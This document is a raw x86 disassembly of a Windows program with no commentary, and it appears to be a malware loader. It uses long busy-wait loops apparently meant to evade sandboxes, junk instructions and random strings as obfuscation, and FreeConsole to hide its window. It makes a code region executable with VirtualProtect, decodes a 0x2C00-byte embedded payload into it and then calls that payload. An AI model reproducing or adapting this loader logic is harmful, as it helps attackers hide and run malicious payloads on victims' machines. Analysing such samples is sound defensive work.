jmp 0x403453
jmp 0x403419
movzx eax, byte [ebp - 0x111]
cmp eax, 1
jne 0x4034be
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0
jmp 0x403493
mov ecx, dword [ebp - 0x290]
add ecx, 1
mov edx, dword [ebp - 0x28c]
adc edx, 0
mov dword [ebp - 0x290], ecx
mov dword [ebp - 0x28c], edx
cmp dword [ebp - 0x28c], 0
ja 0x4034be
jb 0x4034aa
cmp dword [ebp - 0x290], 0x78b9
jae 0x4034be
mov ax, word [ebp - 0xec]
add ax, 1
mov word [ebp - 0xec], ax
jmp 0x403475
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x403510
mov dword [ebp - 0x294], 0
jmp 0x4034e5
mov edx, dword [ebp - 0x294]
add edx, 1
mov dword [ebp - 0x294], edx
mov eax, dword [ebp - 0x6c]
push eax
call section..text
add esp, 4
cmp dword [ebp - 0x294], eax
jge 0x403510
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x6c]
movsx eax, byte [edx]
test eax, eax
jne 0x40350e
jmp 0x403510
jmp 0x4034d6
movzx ecx, byte [ebp - 0x111]
cmp ecx, 1
jne 0x403578
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x29c], 0
jmp 0x403550
mov edx, dword [ebp - 0x2a0]
add edx, 1
mov eax, dword [ebp - 0x29c]
adc eax, 0
mov dword [ebp - 0x2a0], edx
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0
ja 0x403578
jb 0x403567
cmp dword [ebp - 0x2a0], 0x7ffffe5b
jae 0x403578
mov ecx, dword [ebp - 0xac]
add ecx, 1
mov dword [ebp - 0xac], ecx
jmp 0x403532
movzx edx, byte [ebp - 0x111]
cmp edx, 1
jne 0x4035ca
mov dword [ebp - 0x2a4], 0
jmp 0x40359f
mov eax, dword [ebp - 0x2a4]
add eax, 1
mov dword [ebp - 0x2a4], eax
mov ecx, dword [ebp - 0x4c]
push ecx
call section..text
add esp, 4
cmp dword [ebp - 0x2a4], eax
jge 0x4035ca
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4035c8
jmp 0x4035ca
jmp 0x403590
mov byte [ebp - 0x111], 1
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call fcn.004013d0
cmp eax, 0x4103
jne 0x403631
call fcn.004013d0
cmp eax, 0x6a6
jne 0x40361c
push ebx
xor eax, eax
test eax, eax
xor eax, eax
cmp ebx, eax
test ebx, eax
xor eax, 0
and ebx, eax
sub ebx, ebx
push str.nrZrH7ili17tCfHmcO4nd455zpMw
lea ecx, [ebp - 0x2c0]
call fcn.00403f90
lea ecx, [ebp - 0x2c0]
call fcn.00403fd0
sub ebx, eax
mov eax, 0
jmp eax
call fcn.004013d0
cmp eax, 0x74a1
jne 0x40364b
and ebx, 0
pop eax
push eax
xor eax, eax
sub ebx, ebx
and eax, 0
and eax, eax
push str.4X57nouVD4nzlinBB3OJ5Mza
lea ecx, [ebp - 0x28]
call fcn.00403f90
dec ebx
rcr eax, 0x42
neg edi
rcl ebx, 0x24
and edx, 0xc0
neg ebx
dec esi
rcl eax, 0xc5
rcl esi, 0xcb
neg esi
bswap esi
or esi, 0x74
or esi, 0xf1
neg ebx
add eax, 0x16
imul edx
and esi, 0xe4
inc esi
bswap ebx
rol eax, 0x98
mov eax, 0x5a
or edi, 0x6a
rol esi, 0x32
sbb esi, 0xa4
imul ebx
sub eax, 0x22
not edx
imul esi
add eax, 0x23
sbb edi, 0x8c
ror eax, 0x5d
neg eax
neg esi
imul esi
inc esi
sub ebx, 7
ror edi, 0x6e
or edx, 0xd0
neg eax
rcr eax, 0xb3
dec esi
not esi
rcl edx, 0xa5
inc edx
sbb eax, 0xa4
rcl eax, 0x71
bswap edx
inc eax
add esi, 0x58
bswap esi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov ebx, 0xea
inc ebx
dec edx
dec esi
sub eax, 0xed
sub edx, 0x52
not eax
sub edi, 0x83
dec eax
bswap esi
mov eax, 0x2a
add edi, 0x7a
rcl eax, 0x4e
inc ebx
ror edx, 0x53
rol eax, 0x1d
ror eax, 0x8d
or ebx, 0xff
inc edx
imul edi
rol esi, 0x8f
sub esi, 0x4c
sub ebx, 0x1d
rcl edi, 9
sbb ebx, 0xbc
not eax
bswap eax
dec eax
rol edi, 0xc9
dec eax
sub edi, 0x39
not eax
sub esi, 0x86
rcr ebx, 0xc7
inc eax
imul esi
bswap edi
sub edi, 0x75
rol ebx, 0x7a
or eax, 0x2d
ror edi, 0xbc
add edx, 0xca
and edi, 0x75
inc esi
and edi, 0x1c
neg ebx
add esi, 0xaa
ror edi, 0x43
or esi, 0xfc
neg edi
mov dword [ebp - 0x34], 0xa
mov dword [ebp - 0x30], 0x14
mov dword [ebp - 0x2c4], 0
jmp 0x4037a7
mov edx, dword [ebp - 0x2c4]
add edx, 1
mov dword [ebp - 0x2c4], edx
cmp dword [ebp - 0x2c4], 5
jge 0x4037ca
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x2c4]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x2c4]
mov dword [ebp - 0x30], ecx
jmp 0x403798
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x30]
jle 0x4037de
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
jmp 0x4037e8
mov eax, dword [ebp - 0x30]
cdq
idiv dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x403803
mov eax, dword [ebp - 0x34]
cdq
idiv dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
jmp 0x4037e8
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x403829
cmp dword [ebp - 0x3c4], 1
je 0x403834
cmp dword [ebp - 0x3c4], 2
je 0x40383f
jmp 0x40384a
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
jmp 0x403853
mov ecx, dword [ebp - 0x34]
add ecx, 2
mov dword [ebp - 0x34], ecx
jmp 0x403853
mov edx, dword [ebp - 0x34]
add edx, 3
mov dword [ebp - 0x34], edx
jmp 0x403853
mov eax, dword [ebp - 0x34]
add eax, 4
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 2
mov dword [ebp - 0x60], 3
mov dword [ebp - 0x5c], 4
mov dword [ebp - 0x58], 5
mov dword [ebp - 0x2c8], 0
jmp 0x403891
mov ecx, dword [ebp - 0x2c8]
add ecx, 1
mov dword [ebp - 0x2c8], ecx
cmp dword [ebp - 0x2c8], 5
jge 0x4038b4
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ebp + edx*4 - 0x68]
imul eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x2c8]
mov dword [ebp + ecx*4 - 0x68], eax
jmp 0x403882
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0x2cc], 0
jmp 0x4038d9
mov edx, dword [ebp - 0x2cc]
add edx, 1
mov dword [ebp - 0x2cc], edx
cmp dword [ebp - 0x2cc], 5
jge 0x4038fa
mov eax, dword [ebp - 0x2cc]
mov ecx, dword [ebp - 0xe8]
add ecx, dword [ebp + eax*4 - 0x68]
mov dword [ebp - 0xe8], ecx
jmp 0x4038ca
mov edx, dword [ebp - 0xe8]
sub edx, 1
mov dword [ebp - 0xe8], edx
cmp dword [ebp - 0xe8], 0
jg 0x4038fa
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x2d0], 0
jmp 0x403937
mov eax, dword [ebp - 0x2d0]
add eax, 1
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 5
jge 0x40396c
mov ecx, dword [ebp - 0x2d0]
mov edx, dword [ebp + ecx*4 - 0x68]
and edx, 0x80000001
jns 0x403957
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
jne 0x40396a
mov eax, dword [ebp - 0x94]
add eax, 1
mov dword [ebp - 0x94], eax
jmp 0x403928
mov dword [ebp - 0x2d4], 0
jmp 0x403987
mov ecx, dword [ebp - 0x2d4]
add ecx, 1
mov dword [ebp - 0x2d4], ecx
mov edx, dword [ebp - 0x2d4]
cmp edx, dword [ebp - 0x94]
jge 0x4039a9
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 1
mov dword [ebp - 0x30], ecx
jmp 0x403978
lea ecx, [ebp - 9]
call fcn.00403e50
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x3c], 0
jmp 0x4039d4
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 0x5f5e100
jge 0x4039ee
mov eax, dword [ebp - 0xa8]
add eax, 1
mov dword [ebp - 0xa8], eax
jmp 0x4039cb
cmp dword [ebp - 0xa8], 0x5f5e100
jne 0x403e31
push 0x2c00
push 0x410008
call fcn.00401040
add esp, 8
sbb edi, 0xbb
sub edx, 0x68
dec eax
bswap ebx
not eax
dec esi
rcl esi, 0xd6
rcr esi, 6
neg edx
or eax, 0xc4
or eax, 0x16
sub ebx, 0x7a
not ebx
bswap eax
sub edi, 0xcb
and eax, 0x1c
rcl edi, 0xb6
rol eax, 0x3b
not edi
dec edi
not edi
and esi, 0xb9
mov edx, 0x99
bswap ebx
or esi, 0x23
not eax
sbb esi, 8
imul esi
inc eax
sbb eax, 0xce
neg esi
neg esi
add ebx, 0xae
and edx, 0xa6
neg eax
bswap ebx
not edx
not esi
not esi
add ebx, 0xb5
neg edi
neg ebx
or esi, 0xac
neg esi
imul eax
not edx
inc eax
rol eax, 0x26
rcl edi, 0x78
sbb esi, 0xcb
mov dword [ebp - 0x2dc], 0xd20
lea ecx, [ebp - 0x2d8]
push ecx
push 0x40
mov edx, dword [ebp - 0x2dc]
push edx
push int.004013e0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x2dc]
push eax
push int.004013e0
call fcn.00401200
add esp, 8
call fcn.004013d0
cmp eax, 0x6a1a
jne 0x403b7b
call fcn.004013d0
cmp eax, 0x107a3
jne 0x403b51
call fcn.004013d0
cmp eax, 0xc8d2
jne 0x403b16
add eax, eax
push ebx
sub ebx, ebx
mov eax, eax
add eax, ebx
mov eax, ebx
xor eax, 0
mov eax, eax
pop ebx
cmp eax, eax
call eax
and eax, 0
xor ebx, 0
test ebx, eax
pop ebx
mov eax, ebx
xor eax, eax
call eax
jmp eax
mov eax, 0
xor ebx, 0
cmp eax, ebx
push ebx
and ebx, eax
call eax
push str.OIVGGZVNV6
lea ecx, [ebp - 0x330]
call fcn.00403f90
lea ecx, [ebp - 0x330]
call fcn.00403fd0
call fcn.004013d0
cmp eax, 0xc73f
jne 0x403b89
cmp ebx, eax
push str.wTsBaJKqUBmwLyQsPN7xYh6EfPoypF
lea ecx, [ebp - 0x2f8]
call fcn.00403f90
call fcn.004013d0
cmp eax, 0x28e7
jne 0x403be0
call fcn.004013d0
cmp eax, 0x9c54
jne 0x403bd8
test eax, ebx
sub ebx, eax
nop
cmp ebx, eax
and ebx, eax
cmp ebx, eax
pop eax
push str.Bfx24ckQLTApcJ5nCVczaE10OuVz
lea ecx, [ebp - 0x368]
call fcn.00403f90
lea ecx, [ebp - 0x368]
call fcn.00403fd0
push eax
xor ebx, ebx
xor ebx, eax
push ebx
mov eax, ebx
call fcn.004013d0
cmp eax, 0x121a7
jne 0x403cc0
call fcn.004013d0
cmp eax, 0xee38
jne 0x403c8d
call fcn.004013d0
cmp eax, 0x124ad
jne 0x403c63
call fcn.004013d0
cmp eax, 0xa282
jne 0x403c3e
pop ebx
sub eax, ebx
and ebx, 0
push eax
cmp eax, ebx
and eax, ebx
push str.I7CHrILcJ3wuHjUQXloc
lea ecx, [ebp - 0x3bc]
call fcn.00403f90
lea ecx, [ebp - 0x3bc]
call fcn.00403fd0
add eax, eax
and eax, 0
cmp eax, eax
nop
mov eax, eax
xor eax, ebx
call eax
sub ebx, eax
add eax, ebx
xor ebx, eax
xor eax, 0
xor ebx, ebx
mov eax, 0
call eax
xor ebx, 0
sub eax, ebx
mov eax, eax
call eax
cmp ebx, eax
test ebx, eax
and eax, eax
xor ebx, 0
cmp eax, ebx
push str.2xdrumiVIFHdNAMJWZy2KvUiu9OJs
lea ecx, [ebp - 0x3a0]
call fcn.00403f90
lea ecx, [ebp - 0x3a0]
call fcn.00403fd0
sub ebx, ebx
add eax, ebx
pop eax
push eax
and eax, ebx
mov eax, eax
mov eax, ebx
pop ebx
add eax, eax
and eax, 0
mov eax, 0
push ebx
push str.9teptrKBLDBQxu2R0tP97Cyie0t0y8
lea ecx, [ebp - 0x384]
call fcn.00403f90
lea ecx, [ebp - 0x384]
call fcn.00403fd0
push str.e70o9xqwkdytreivVjbC3wgPTAeAg9B9
lea ecx, [ebp - 0x314]
call fcn.00403f90
call fcn.004013d0
cmp eax, 0xa479
jne 0x403cf9
and eax, ebx
test ebx, eax
sub ebx, ebx
and ebx, eax
test eax, ebx
test eax, eax
test eax, eax
pop ebx
sub ebx, ebx
xor ebx, eax
add eax, eax
sub ebx, eax
call eax
pop eax
pop eax
test eax, ebx
and edi, 0xe6
imul edi
rcr ebx, 0x1e
imul ebx
inc esi
or esi, 0xd0
inc esi
rcr eax, 0
bswap ebx
and edi, 0xd3
bswap eax
rcl edi, 0x58
rcl edi, 0x47
neg edi
bswap esi
add esi, 0x2d
and edx, 0x66
inc ebx
rol esi, 0x46
add esi, 0x4c
add edx, 0xc6
imul esi
imul edx
neg edi
and edx, 0x5d
or eax, 0x1e
and eax, 0xfa
inc edi
dec edi
bswap edx
sub edx, 0x13
not edx
mov eax, 0x4a
and esi, 0x90
neg eax
not ebx
dec edx
dec ebx
or edi, 0xaa
inc ebx
imul ebx
not edx
or ebx, 0xd3
neg eax
sbb edx, 0xca
mov edi, 0x24
sub edi, 0x7d
and edx, 0x1a
or edi, 0xf6
imul edi
push 0x410008
call int.004013e0
add esp, 4
rcr esi, 0x63
neg esi
bswap edx
dec edx
not edx
rcl ebx, 0x2f
bswap edx
imul edx
inc edx
neg edi
neg ebx
or edi, 0x4f
neg edi
imul edi
ror eax, 0xfc
ror edi, 0xe8
sbb eax, 0x89
ror edx, 0x32
sub edi, 0x86
ror edx, 0xb8
mov edx, 0x7c
rol ebx, 0xdc
neg edx
not edi
not eax
bswap edx
sub edx, 8
ror edx, 0x8e
imul edx
bswap esi
sbb esi, 0xcd
bswap edx
imul ebx
sbb edx, 0x71
inc eax
add ebx, 0x31
rcr edx, 0x41
neg edi
rcl ebx, 0xaa
neg edi
bswap edi
dec esi
and eax, 0x55
dec esi
bswap edi
or edi, 0x1c
imul ebx
inc esi
sbb edi, 0xa6
dec eax
lea ecx, [ebp - 0x314]
call fcn.00403fd0
lea ecx, [ebp - 0x2f8]
call fcn.00403fd0
mov dword [ebp - 0x3c0], 0
lea ecx, [ebp - 0x28]
call fcn.00403fd0
mov eax, dword [ebp - 0x3c0]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret